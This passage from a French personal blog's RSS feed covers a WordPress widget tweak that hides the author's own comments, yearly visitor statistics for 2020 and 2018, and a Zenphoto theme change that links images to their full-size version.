solution.&lt;/p&gt;&#xA;&lt;p&gt;Alors il en existe plusieurs de ce type (&lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/better-recent-comments/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Better Recent Comments&lt;/a&gt;, &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/comments-widget-plus/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Recent Comments Widget Plus&lt;/a&gt;, etc&amp;hellip;) mais j&amp;rsquo;avais une option avec le vieux plugin que je ne retrouvais dans aucun autre, c&amp;rsquo;était la possibilité de filtrer mes propres commentaires (mes réponses en fait), ce que je trouvais très pratique, voir essentiel.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc posé la question sur le forum français de Wordpress, WPFR. Ça faisait longtemps que j&amp;rsquo;y étais pas allé, il a été tout refait et est très joli. Ma question est &lt;a class=&#34;link&#34; href=&#34;https://wpfr.net/support/sujet/plugin-get-recent-comments-et-wordpress-5-7&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;ici&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Grâce à PhiLyon qui s&amp;rsquo;est bien investi sur le problème (merci le confinement !) et que je remercie chaleureusement, après plusieurs essais une solution a été trouvée, en combinant un plugin existant et en ajoutant une fonction au thème.&lt;/p&gt;&#xA;&lt;p&gt;D&amp;rsquo;abord, le plugin à installer est &lt;a class=&#34;link&#34; href=&#34;https://wordpress.org/plugins/post-specific-comments-widget/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Post-Specific Comments Widget (PSCW)&lt;/a&gt;. Une fois le widget placé dans la barre latérale, on peut choisir facilement le format que l&amp;rsquo;on souhaite avec les &amp;ldquo;shortcodes&amp;rdquo; proposés : j&amp;rsquo;ai pu ainsi reproduire ce qu&amp;rsquo;affichait mon plugin précédent, et même ajouter l&amp;rsquo;avatar (pour le fun) :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;158px&#34; data-flex-grow=&#34;66&#34; height=&#34;677&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/plugin-get-recent-comments-et-worpress-5-7/grcw1.png&#34; width=&#34;448&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;On peut aussi définir la longueur de l&amp;rsquo;extrait (excerpt) et même la taille de l&amp;rsquo;avatar comme ceci : [AVATAR 64] pour obtenir un avatar de 80px. La valeur par défaut est de 32px.&lt;/p&gt;&#xA;&lt;p&gt;Presque parfait donc, puisqu&amp;rsquo;il n&amp;rsquo;y a pas d&amp;rsquo;option pour filtrer les commentaires de l&amp;rsquo;auteur. C&amp;rsquo;est là que Philyon a fait très fort, en me proposant d&amp;rsquo;ajouter ce bout de code (une fonction) à un thème enfant (child theme) de Wordpress :&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ra_recent_comments_less_author&lt;/span&gt;( $array ) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;global&lt;/span&gt; $post;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;$array[&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;user_id&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;$post&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;post_author&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; $array;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;add_action&lt;/span&gt;( &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;widget_comments_args&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;ra_recent_comments_less_author&amp;#39;&lt;/span&gt; );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et ça tombait bien puisque j&amp;rsquo;utilise le thème FourteenPress, qui est un thème enfant de TwentyFourteen, un des thème fournis avec Wordpress. Et voilà ! Avec cette fonction, mes propres commentaires sont filtrés et ne sont pas affichés dans le widget ! :cool:&lt;/p&gt;&#xA;&lt;p&gt;Dans la foulée, j&amp;rsquo;ai posté un commentaire sur le plugin GRCW et proposant d&amp;rsquo;ajouter cette option. Le créateur m&amp;rsquo;a vite répondu en me remerciant et en promettant de regarder ça dès que possible. Le monde du logiciel libre est vraiment top !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog – année 2020</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2020/</link>
            <pubDate>Tue, 05 Jan 2021 16:51:49 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2020/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;2021.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;L&amp;rsquo;année dernière, il n&amp;rsquo;y pas eu d&amp;rsquo;articles sur les stats du blog, j&amp;rsquo;étais en plein déménagement. L&amp;rsquo;année 2019 restera donc un mystère côté chiffres&amp;hellip; Mais comme c&amp;rsquo;est quand même l&amp;rsquo;article le plus inutile de l&amp;rsquo;année, je renoue avec la tradition. ;)&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;en profite souhaiter au lecteur qui passerait sur cette page une très bonne année 2021, une bonne santé (ça revient à la mode), et plein de bonnes choses, c&amp;rsquo;est toujours possible ! Pour ma part, une bonne année passe par un bon filtrage des sources d&amp;rsquo;information, parce que ce ne sont pas les imbécilités (ni les imbéciles) qui manquent ! 8-)&lt;/p&gt;&#xA;&lt;p&gt;Mais revenons à l&amp;rsquo;essentiel dans ce monde de brutes, les stats du site.&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-stats&#34;&gt;Les stats&#xA;&lt;/h3&gt;&lt;p&gt;Et on commence par le nombre de visites mensuelles. En 2018, la moyenne était à 2500 visites mensuelles ; en 2020, on descend à 2300. Mais l&amp;rsquo;année termine fort avec un mois de décembre exceptionnel ! :D&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;322px&#34; data-flex-grow=&#34;134&#34; height=&#34;327&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2020/sats1.png&#34; width=&#34;439&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Plus globalement, on reste en-dessous de l&amp;rsquo;année 2017, même si décembre 2020 est presque au même niveau :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;376px&#34; data-flex-grow=&#34;156&#34; height=&#34;656&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2020/sats2.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2020/sats2_hu_f32ab9136a21c93.png 800w, https://pled.fr/statistiques-du-blog-annee-2020/sats2.png 1028w&#34; width=&#34;1028&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Ce qui donne en comparant les années de 2009 à 2020 une pente douce mais constante depuis 2016 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1256px&#34; data-flex-grow=&#34;523&#34; height=&#34;188&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2020/sats3.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2020/sats3_hu_d341fa6ba0aa02f7.png 800w, https://pled.fr/statistiques-du-blog-annee-2020/sats3.png 984w&#34; width=&#34;984&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enfin, selon le généreux plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;, le nombre total de visiteurs du blog (depuis sa création) est de &lt;strong&gt;2 465 864&lt;/strong&gt; visites à ce jour (4 janvier 2021). Vu comme ça, c&amp;rsquo;est impressionnant (j&amp;rsquo;ai créé le blog en décembre 2005, cela fait donc 15 ans).&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-articles&#34;&gt;Les articles&#xA;&lt;/h3&gt;&lt;p&gt;Selon le plugin &lt;a class=&#34;link&#34; href=&#34;https://nl.wordpress.org/plugins/wp-show-stats/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP Show Stats&lt;/a&gt;, il y a maintenant &lt;strong&gt;1302&lt;/strong&gt; articles publiés sur le blog, et &lt;strong&gt;1471&lt;/strong&gt; commentaires. Soit 56 articles rédigés en 2020, et 52 commentaires cette même année. Excepté les commentaires de 2018, les chiffres sont plutôt stables depuis 3 ans.&lt;/p&gt;&#xA;&lt;p&gt;Titre201520162017201820192020Articles756592566856Commentaires2654401095552&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-top-20&#34;&gt;Le Top 20&#xA;&lt;/h3&gt;&lt;p&gt;Venons-en maintenant aux articles les plus lus en 2020 ! (rappel : les statistiques ont été réinitialisées en 2015, suite au changement d&amp;rsquo;hébergeur).&lt;/p&gt;&#xA;&lt;p&gt;On retrouve grosso modo les mêmes articles en tête de gondole, en commençant par les deux indétrônables concernant ma fracture du coude.&lt;/p&gt;&#xA;&lt;p&gt;Apparaissent tout de même 5 articles écrits récemment :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15743&#34; &gt;Un Raspberry Pi pour ma chaîne Hi-Fi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15569&#34; &gt;Gnome-calendar : ajouter un agenda CalDAV&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=12361&#34; &gt;Changer le calendrier par défaut de Thunderbird/Lightning&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16427&#34; &gt;Installation Ubuntu 20.04&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15455&#34; &gt;Thunderbird 68 et la synchro CardDAV/CalDAV&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;On le voit, ce sont les articles techniques qui ont le plus de succès. Avec mon nouveau NAS Openmediavault, d&amp;rsquo;autres articles devraient venir cette année, la tendance devrait se confirmer.&lt;/p&gt;&#xA;&lt;p&gt;Il n&amp;rsquo;y a d&amp;rsquo;ailleurs plus un seul bouquin dans ce top 20, je crois que c&amp;rsquo;est la première fois. :( Le premier se classe 24ème, et c&amp;rsquo;est le &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8605&#34; &gt;Cycle Les quatre saisons de Leonardo Padura&lt;/a&gt;. À noter en 26ème position l&amp;rsquo;excellent &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=5865&#34; &gt;Ringolevio d&amp;rsquo;Emmett Grogan&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Titre201520162017201820192020&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2829&#34; &gt;Fracture du coude – 6 mois après&lt;/a&gt;4998114071066167385067&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;3937113741101764343903&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11827&#34; &gt;NAS Synology : Installation de Nextcloud sur DSM 6&lt;/a&gt;17622147&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10899&#34; &gt;DS Video sur Samsung Smart TV&lt;/a&gt;63121471935&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10921&#34; &gt;Thunderbird : archiver ses mails&lt;/a&gt;8631030&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=8479&#34; &gt;Synchroniser les agendas de Thunderbird et Android avec Baïkal&lt;/a&gt;58214761270772656&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9307&#34; &gt;Plus de guidage vocal dans OsmAnd&lt;/a&gt;252261335501&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10813&#34; &gt;Mapper le répertoire d&amp;rsquo;un NAS Synology sur Ubuntu&lt;/a&gt;306488&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11272&#34; &gt;LineageOS avec microG à la place des services Google&lt;/a&gt;613486&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2339&#34; &gt;Chute de vélo (à l’arrêt)&lt;/a&gt;463839763578485&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2887&#34; &gt;Faire son arbre généalogique avec GRAMPS&lt;/a&gt;6351126732240483&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9529&#34; &gt;NAS Synology : notification par SMS via Free Mobile&lt;/a&gt;399843463&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11469&#34; &gt;Retour à LineageOS sans microG&lt;/a&gt;417375&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15743&#34; &gt;Un Raspberry Pi pour ma chaîne Hi-Fi&lt;/a&gt;337&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15569&#34; &gt;Gnome-calendar : ajouter un agenda CalDAV&lt;/a&gt;334&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=10827&#34; &gt;Synology : indexation multimedia et NFS&lt;/a&gt;401307&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=11428&#34; &gt;Synchroniser et insérer des sous-titres dans une vidéo&lt;/a&gt;201284&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=12361&#34; &gt;Changer le calendrier par défaut de Thunderbird/Lightning&lt;/a&gt;271&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=16427&#34; &gt;Installation Ubuntu 20.04&lt;/a&gt;233&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=15455&#34; &gt;Thunderbird 68 et la synchro CardDAV/CalDAV&lt;/a&gt;211&lt;/p&gt;&#xA;&lt;p&gt;Voilà, à l’année prochaine, et portez vous bien !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Zenphoto - Thème ZpMobile : afficher les images en taille réelle</title>
            <link>https://pled.fr/zenphoto-theme-zpmobile-afficher-les-images-en-taille-reelle/</link>
            <pubDate>Fri, 28 Jun 2019 16:51:26 +0000</pubDate>
            <guid>https://pled.fr/zenphoto-theme-zpmobile-afficher-les-images-en-taille-reelle/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;zenphoto-logo-new.png#floatleft&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Voilà bien longtemps que j&amp;rsquo;utilise Zenphoto pour gérer mes albums : le premier article sur mon blog date de 2006, quand Zenphoto date de 2005. J&amp;rsquo;avais même participé à la traduction française à l&amp;rsquo;époque !&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;en suis très satisfait, pour essentiellement deux raisons : la gestion des sous-albums et la possibilité de mettre un commentaire sur chaque photo, ce qui donne de l&amp;rsquo;intérêt au parcours de l&amp;rsquo;album&amp;hellip; C&amp;rsquo;est d&amp;rsquo;ailleurs sa qualité principale : une multitude d&amp;rsquo;options permettent d&amp;rsquo;arriver à ce que l&amp;rsquo;on veut, contrairement à d&amp;rsquo;autres &amp;lsquo;web gallery&amp;rsquo; où l&amp;rsquo;on doit s&amp;rsquo;adapter à ce qui a été fait. D&amp;rsquo;autre part, on peut poser des questions sur leur forum, on obtient une réponse assez vite, ce qui est appréciable.&lt;/p&gt;&#xA;&lt;p&gt;En 2015, j&amp;rsquo;installais un &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=9108&#34; &gt;nouveau thème zpmobile&lt;/a&gt;, afin que l&amp;rsquo;affichage soit compatible avec nos beaux smartphones&amp;hellip; Tout allait donc très bien, il n&amp;rsquo;y avait qu&amp;rsquo;un chose qui me chiffonnait : les images sur le PC étaient affichées avec une largeur maximale de 595px (et bien sûr s&amp;rsquo;adaptaient à la taille de l&amp;rsquo;écran du smartphone), sans avoir la possibilité de les afficher en pleine taille.&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est ce que je me suis attaché à modifier il y a déjà quelque temps déjà, je le copie ici pour partager la modification à faire pour ceux que ça intéresserait.&lt;/p&gt;&#xA;&lt;p&gt;Sachant que la taille des images de mes albums est de 1800x1024 par défaut (en mode paysage), c&amp;rsquo;était dommage de visionner l&amp;rsquo;album sur un grand écran sans pouvoir profiter de cette taille.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc cherché comment faire ce changement : je ne trouvais rien dans les multiples options et réglages de Zenphoto (et pourtant, il y en a !), changer la taille d&amp;rsquo;affichage par défaut (595px) allait provoquer trop de changements difficiles à maîtriser, j&amp;rsquo;arrivais à la conclusion que la meilleure méthode était d&amp;rsquo;ajouter un lien sur l&amp;rsquo;image affichée pour pouvoir l&amp;rsquo;afficher en plein écran si on le souhaitait. Simple et efficace.&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai donc comparé le fichier image.php avec celui d&amp;rsquo;un autre thème appelé &lt;strong&gt;Zenpage&lt;/strong&gt;, qui propose ce lien par défaut. Après quelques essais, j&amp;rsquo;ai ajouté le lien juste sous la fonction &lt;strong&gt;getFullImageURL()&lt;/strong&gt; (la dernière ligne en fait) :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;?php&#xA;if (isImagePhoto()) {&#xA;   $tburl = getFullImageURL();&#xA;   ?&amp;gt;&#xA;   &amp;lt;a href=&amp;#34;&amp;lt;?php echo html_encode(pathurlencode($tburl)); ?&amp;gt;&amp;#34;&amp;gt;&amp;lt;img src=&amp;#34;&amp;lt;?php echo html_encode(pathurlencode(getDefaultSizedImage())); ?&amp;gt;&amp;#34; alt=&amp;#34;&amp;lt;?php printBareImageTitle(); ?&amp;gt;&amp;#34; title=&amp;#34;Afficher la photo en taille réelle&amp;#34; style=&amp;#34;max-width:&amp;lt;?php echo getDefaultWidth(); ?&amp;gt;px&amp;#34;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;C&amp;rsquo;était un bon début, car l&amp;rsquo;image était bien devenue un lien , on pouvait cliquer dessus&amp;hellip; mais une page blanche s&amp;rsquo;affichait ! :-( Toutefois un simple F5 pour rafraîchir et l&amp;rsquo;image apparaissait comme je le souhaitais&amp;hellip; Je n&amp;rsquo;étais donc pas loin de la solution, mais il me manquait un truc&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;J&amp;rsquo;ai alors posé la question sur le forum, et obtenu une réponse rapidement : le framework &lt;strong&gt;jquerymobile&lt;/strong&gt; (utilisé par le thème) commande tout, et il faut désactiver ce comportement de manière explicite en suivant les recommandations &lt;a class=&#34;link&#34; href=&#34;https://demos.jquerymobile.com/1.4.5/navigation-linking-pages/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;de cette page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Un peu de lecture plus tard, j&amp;rsquo;avais la solution : ajouter un attribut &lt;strong&gt;rel=&amp;ldquo;external&amp;rdquo;&lt;/strong&gt; à mon lien. Ce qui donne ceci :&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;lt;?php&#xA;if (isImagePhoto()) {&#xA;   $tburl = getFullImageURL();&#xA;   ?&amp;gt;&#xA;   &amp;lt;a rel=&amp;#34;external&amp;#34; href=&amp;#34;&amp;lt;?php echo html_encode(pathurlencode($tburl)); ?&amp;gt;&amp;#34;&amp;gt;&amp;lt;img src=&amp;#34;&amp;lt;?php echo html_encode(pathurlencode(getDefaultSizedImage())); ?&amp;gt;&amp;#34; alt=&amp;#34;&amp;lt;?php printBareImageTitle(); ?&amp;gt;&amp;#34; title=&amp;#34;Afficher la photo en taille réelle&amp;#34; style=&amp;#34;max-width:&amp;lt;?php echo getDefaultWidth(); ?&amp;gt;px&amp;#34;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Et voilà, le tour était joué, il suffit maintenant de cliquer sur l&amp;rsquo;image pour l&amp;rsquo;avoir en taille maximale. Merci Zenphoto !&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Statistiques du blog - année 2018</title>
            <link>https://pled.fr/statistiques-du-blog-annee-2018/</link>
            <pubDate>Thu, 21 Feb 2019 18:26:41 +0000</pubDate>
            <guid>https://pled.fr/statistiques-du-blog-annee-2018/</guid>
            <description>&lt;p&gt;&lt;img loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;2019.png#floatleft&#34;&gt; D&amp;rsquo;habitude, l&amp;rsquo;article des statistiques est le premier de l&amp;rsquo;année, et d&amp;rsquo;ailleurs sans doute le plus inutile, mais bon, si on ne faisait que des choses utiles, on s&amp;rsquo;ennuierait&amp;hellip; ;-) . Mais cette année, le premier janvier, j&amp;rsquo;attaquais un trekking entre Kalaw et le lac Inle au Myanmar ! Je le rédige donc largement plus tard cette fois, et ma foi&amp;hellip; ça ne change pas grand chose !&lt;/p&gt;&#xA;&lt;p&gt;C&amp;rsquo;est donc aussi un peu tard pour vous souhaiter mes meilleurs vœux pour cette nouvelle année, mais le cœur y est ! Santé et bonheur&amp;hellip; ce sera déjà pas mal.&lt;/p&gt;&#xA;&lt;p&gt;Alors voilà les chiffres habituels, tirés des statistiques fournies par Wordpress, pas questions bien sûr d&amp;rsquo;utiliser les Google Analytics, très détaillés, mais qui pistent en même temps tous les visiteurs&amp;hellip; Pas de ça ici !&lt;/p&gt;&#xA;&lt;p&gt;En résumé, les visites, comme les articles, sont plutôt à la baisse, les commentaires par contre sont en nette hausse (sympa !). Enfin, pas mal de nouveaux articles (à majorité techniques) intègrent le top 20, ce qui est plutôt pas mal. Hélas, un seul bouquin arrive à y entrer cette année, et c&amp;rsquo;est madame Simone de Beauvoir qui a cet honneur et cette responsabilité !&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-stats&#34;&gt;Les stats&#xA;&lt;/h3&gt;&lt;p&gt;Commençons donc par le nombre de visites mensuelles. Après un très beau mois de janvier, on est vite revenu à la tendance déjà présente à partir du milieu d&amp;rsquo;année 2017, et les nombre global de visites mensuelles dépasse à peine les 2500. Au total, on passe de 35000 à 31000&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;385px&#34; data-flex-grow=&#34;160&#34; height=&#34;260&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2018/stats1.png&#34; width=&#34;418&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Et fort logiquement, les records de 2017 ne sont pas dépassés :&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/wp-content/uploads/2019/02/stats2.png&#34; &gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;501px&#34; data-flex-grow=&#34;209&#34; height=&#34;492&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2018/stats2.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2018/stats2_hu_32ecd75551d40ac7.png 800w, https://pled.fr/statistiques-du-blog-annee-2018/stats2.png 1029w&#34; width=&#34;1029&#34;&gt;&lt;/a&gt; Ce qui nous donne en comparant les années de 2009 à 2018 :&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1056px&#34; data-flex-grow=&#34;440&#34; height=&#34;187&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://pled.fr/statistiques-du-blog-annee-2018/Stats2018Diagram.png&#34; srcset=&#34;https://pled.fr/statistiques-du-blog-annee-2018/Stats2018Diagram_hu_eddeaca3d1673e56.png 800w, https://pled.fr/statistiques-du-blog-annee-2018/Stats2018Diagram.png 823w&#34; width=&#34;823&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Enfin, selon le plugin &lt;a class=&#34;link&#34; href=&#34;http://faked.org/blog/wp-onlinecounter/&#34;  title=&#34;la page du plugin WP online counter&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;WP online counter&lt;/a&gt;, le nombre total de visiteurs du blog (depuis sa création) est de &lt;strong&gt;1 850 375&lt;/strong&gt; visites à ce jour (approximativement, étant absent début janvier).&lt;/p&gt;&#xA;&lt;h3 id=&#34;les-articles&#34;&gt;Les articles&#xA;&lt;/h3&gt;&lt;p&gt;Il y a maintenant 1 183 articles publiés sur le blog, et 1 250 commentaires. Soit 60 articles rédigés en 2018 (en baisse), et 109 commentaires cette même année (en nette hausse, ce qui est plutôt sympa, car signifie plus d&amp;rsquo;interactivité).&#xA;Titre2015201620172018Articles75659256Commentaires265440109&lt;/p&gt;&#xA;&lt;h3 id=&#34;le-top-20&#34;&gt;Le Top 20&#xA;&lt;/h3&gt;&lt;p&gt;Venons-en maintenant aux articles les plus lus !&lt;/p&gt;&#xA;&lt;p&gt;Rappel : avec le changement d’hébergeur en 2015, les statistiques ont été remises à zéro, laissant une chance aux articles plus récents d’apparaître dans ce classement… Sans pour autant avoir la moindre chance de détrôner les deux articles concernant ma fracture du coude, toutefois en baisse notable cette année (le troisième a pris nettement du recul).&lt;/p&gt;&#xA;&lt;p&gt;Pas mal d&amp;rsquo;articles techniques récents font leur apparition, que ce soit à propos du NAS Synology, du smartphone et de LineageOS (4), ou  d&amp;rsquo;Ubuntu et Thunderbird. Ce sont d&amp;rsquo;ailleurs clairement les sujets qui dominent. Celui sur l&amp;rsquo;installation de Nextcloud sur DSM a rencontré un franc succès : écrit en juin 2018, il arrive en 4ème position, et a reçu 31 commentaires à lui tout seul (en comptant mes réponses !).&lt;/p&gt;&#xA;&lt;p&gt;Enfin un seul  articles de la catégorie Littérature apparait dans ce classement, contre quatre l’année dernière : &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=6863&#34; &gt;Mémoires d’une jeune fille rangée – Simone de Beauvoir&lt;/a&gt;. Très bon livre, le premier d&amp;rsquo;une série que je n&amp;rsquo;ai pas encore achevée, puisque je n&amp;rsquo;ai lu ensuite que &lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?s=de&amp;#43;beauvoir&#34; &gt;La force de l&amp;rsquo;âge&lt;/a&gt;&amp;hellip; Il m&amp;rsquo;en reste donc deux, que je devrais lire cette année, parce que franchement ça vaut le détour.&#xA;Titre2015201620172018&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2829&#34; &gt;Fracture du coude – 6 mois après&lt;/a&gt;499811407106616738&lt;a class=&#34;link&#34; href=&#34;https://pled.fr/?p=2424&#34; &gt;Rééducation du coude&lt;/a&gt;393711374110176434&lt;a 